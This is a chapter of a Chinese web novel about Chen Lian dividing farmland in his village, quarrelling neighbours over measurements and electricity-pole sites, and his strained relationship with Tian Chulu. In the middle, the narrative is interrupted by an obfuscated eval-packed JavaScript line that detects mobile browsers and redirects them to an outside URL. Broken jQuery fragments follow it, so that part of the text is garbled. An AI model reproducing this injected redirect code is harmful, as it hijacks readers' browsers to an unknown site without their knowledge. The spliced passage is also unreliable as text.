什么叫蠢事?陈连坚定自己是不会以权谋私的。即使他只是个小小的分地管理人员。
“行了行了别吵了,不就是一块地吗?”
“你说的好听,一块地?那你倒是把你家的给我们分点。”
“哎周婶,你这话可不对。”
“什么对不对,你告诉什么对不对?我可看得清楚,他手里的尺子刚才往内偏了两公分。”周婶子名叫周翠英,是陈连二爷家二儿子的媳妇。
场面闹哄哄的,今天是正式分地的日子,大家都严阵以待。
导致过于仔细,一上午到第三家就没法进行下去了。
周翠英说陈连的尺子没拿对,少给她家量了半分地(分:一种面积单位)。
陈连说让她自己量,结果陈连隔壁隔壁家的大伯不乐意了。
他劝周翠英接受,但周翠英拉着陈连不放手。
陈连脑袋飞快转动,经过多日历练,他差不多也弄明白了大家所想,于是,他问问周围人家里是否还有长尺。
“谁家还有长尺就拿出来,咱一起量,每次量三次取平均数,这样总不会再有误了。”
陈连的主意受到周翠英的赞同,她喊自己儿子回家拿尺子。
“我家也有,你等会。”一个三十多岁的大哥举了手。
陈连点头。
大伙等他们拿尺子间隙也没闲着。“陈连,这石头怎么办啊?”
“是呀。我等说咱村要通电,难不成这是埋的电线杆的位置。”有人附和。
田进德先陈连一步开口。
“王大娘真会猜。”他抬手示意大家安静,“告诉大家一个好消息,咱村呐,要通电啦!”
这个消息确实很能让人开心,但欢呼过后疑虑就上来了,“那电费咋算啊?”
“是啊,这事也不提前说,教人没个准备。”
基本上大家比较关心的就是电费和通电能否顾及到每家。
“电费大家不必忧心,这个肯定不会贵的。通电肯定能顾及到每家每户。”田进德解释。
浮躁的声音归于平静,拿尺子的两人匆匆跑来。
“好,大家伙,咱先不讨论了,咱去下一个地方分。”田进德拿着喇叭大声说。
喇叭是田初露刚才帮忙拿来的。
随后她也跟着众人去往下一个分地处。
此处是村东头,靠近山有一户人家,周围耕地较多,所以关注度达到了最高值。
但是量地还是那样量,多少人分多少地,分完之后挖个沟把两家之间分开。
家家户户知道要分地,这会儿地里基本没有东西了。陈家村的农作物一年两季,冬种春收或春种秋收。
有春种的大部分也收完了。
除了一家长得和人一样高的油菜花。“这是俺家的地,正好这次也抽到了这,要不俺家就要这块好了。”
地是好几家一起分,陈连不敢做决定。他先是肯定了他这样确实少了些后续麻烦,又大声问众人,“抽到这块分地人同不同意陈大爷的决定”。
陈大爷嘿嘿冲众人笑。
大家脸色不太妙,他家咋嫩精还先种上把这块抢走,看不出来陈老头还是个有主意的,真的好心机……
嘀嘀咕咕声此起彼伏,没人表示赞同,也没人表示拒绝。
局面僵持,田进德给陈连使了个眼色。陈连接收到后说,“我明白大家伙对土地的热爱,咱先从边上开始量着吧。”
随着他的声音,量地人便冒出头开始量地。
量着量着,突然田婶子出了声,“陈连,我同意陈老头家还用那块地。”
她这一说,众人纷纷好奇,刚才不吭不响,这才一会工夫就想清了?
有猫腻。
此念头盘旋在每个人心里。
“呀!电线杆的石头埋到陈大爷家地里了。”一个眼尖的孩子喊到。
清脆的声音把大家的疑问都解决了。
原来田婶子是发现了电线杆才愿意的。
“嘿!你这孩子,怎么说话呢?我只是见陈老头收油菜不容易才同意的。”她嘴硬不肯承认。
陈大爷走去瞧那块石头,他也不愿意了。
“大家都不同意,那我就按你说的量着分吧。”
陈大爷这话是对陈连说的,田婶子的话也是对陈连说的。
陈连拿着纸笔皱眉,左思右想后他说,“要不陈大爷你先收到这块地,电线杆我们可以往中间挪挪,挪到两家地沟之间,就谁也不占谁的了。”
陈大爷纠结,但也确实不想折腾,那地他种了十来年,都熟悉了。
“电线杆是为了大家用电才埋的,不止这里有,其他地方兴许也有。”
陈连超不经意的向陈大爷透露,即便不要这块地,其他的地也躲不掉。
“小连说的对,陈老头,就那么一点挨不着啥事。”田大婶给力助攻劝说陈大爷。
在场其他人叽叽喳喳表达自己看法。
经一番考量后陈大爷决定要了那块地。
就是最后分地田大婶家一不小心分到了陈大爷家临边,那块电线杆坑被挪到了两家之间。
田大婶咬牙切齿的对陈连说,“以后要是排水不当,这电线杆可得挪走。”
陈连只好点头。
其他地果真如陈连所说,基本附近住人的都有电线杆坑。
这样一来,一个人不乐意变成了一个村不乐意,结算下来,每个人都乐意了。
大家都这样,不患寡而患不均,都吃点亏才能平和。
分地第一天傍晚,陈连拖着疲惫的身体回家。他低估了大家的审判能力和观察能力。
一块小小的地,不是这有问题就是那有问题。说话说的他差点哭吐白沫。
“分完了吗?”田初露给他端了杯水。
陈连接过,“谢谢,没有分完。”
“那么多?”田初露没亲历过这些事不知道要与人民群众打交道的困难。
“嗯。”陈连点头,不想说话。
他觉得他需要休息。
“今天小桃姑来过。”田初露突然转换话题。
“找我的?”陈连不得不继续与她交谈。
“不是,找我的。”田初露说。
“嗯。”陈连点头想先去洗洗睡了,明天还要经历今天的事,他需要休息。
田初露拉住他,“你不好奇她来找我干嘛吗?”
这有什么好奇?陈连尊重每一个人的隐私。可田初露目光灼灼,好似很在意他的关心。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284351|198422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈连重新坐下,“找你干嘛?”
“……她问我想不想去上学。”田初露做了很大的心里准备说。
她既然这样问自己肯定已经问过陈连了。他会怎么答呢?
“你怎么说?”陈连问。
“不想。”田初露答。
“嗯。”
“你想我怎么答?或者要是你,你该怎么答?”田初露问。
陈连突然正视田初露,她猜到了陈桃也问过他。
“想。”即便如此他依旧老实回答,他不曾放弃去上学的念头。
田初露也该有自己的人生。
“你对我一点感情都没有吗?”田初露问他,她眼睛红红的。
明明两人小时候青梅竹马一起长大,可是自从他越上越高,越走越远,也就越来越不把她放在眼里了。
“感情自有天意。”陈连回。
田初露气的把他手里水杯抢过来,利落把水倒掉,“你渴着也是天意。”
陈连点头。
看他这副任她吵闹的样子,田初露更气了。
明日还要干活,陈连先去睡下了。
次日,何芳狠狠把他骂了一顿,“陈连你要是把人气跑了,以后可就娶不上媳妇了。”
“还有你那个学,你趁早停了上学的心思。”
“大家都是文盲不都活得好好的,你也别当例外。”
陈连任她骂,没还嘴,早饭后如约到了村委会集合。
今天该分黄庄了。陈冬生入赘到黄莹莹家便跟着她家一起分地。
黄莹莹家总共五口人,她是最小的,她上面还有两个姐姐。
陈连不明白陈冬生的行为,他透过人群看向他时,他正在低头和黄莹莹说话。
一点发散的情绪容不得他多想,大家催促的声音赶着陈连去量地。
黄庄人不多,除了黄鑫有意无意挑事外,陈连基本没怎么让大家的矛盾发酵。
估计这与他日渐增长的乡村治理能力有关。
陈连不清楚,下午,又忙活一天的陈连回家时遇到了与他不同路但非要同行的黄鑫。
乡间小路很窄,两个人并排都挤得慌,黄鑫在他右侧后方跟了一路。
“你有话要说?”陈连停步开口问道。
这下两人成了面对面。
黄鑫与陈连年纪相仿,当年一同上学时,都在一个小学上。
村里小学现在还有学生,但大家都只是为了孩子多识两字以后别种地看不懂种子说明书。
没人想自己的孩子能上高中,上大学。
黄鑫就是其中之一。小学结束他便没再上。
“只是有个问题想问你。”黄鑫回答。
陈连乐意为人解答,“你说。”
“田初露为什么非要嫁给你?你陈连到底有什么好的。”
要说上一句还算礼貌询问,那这一句就是赤裸裸的看不起。
黄鑫瞧不上陈连也正常,整个村子都这样。
物质不富裕的年代去追求精神上的那点虚无缥缈的东西,是不被人赞同的。
“这个问题你要去问她。”陈连无法解答,他也不明白田初露为什么非要嫁给他。
可这番诚实的话落在黄鑫耳朵里完全等于挑衅。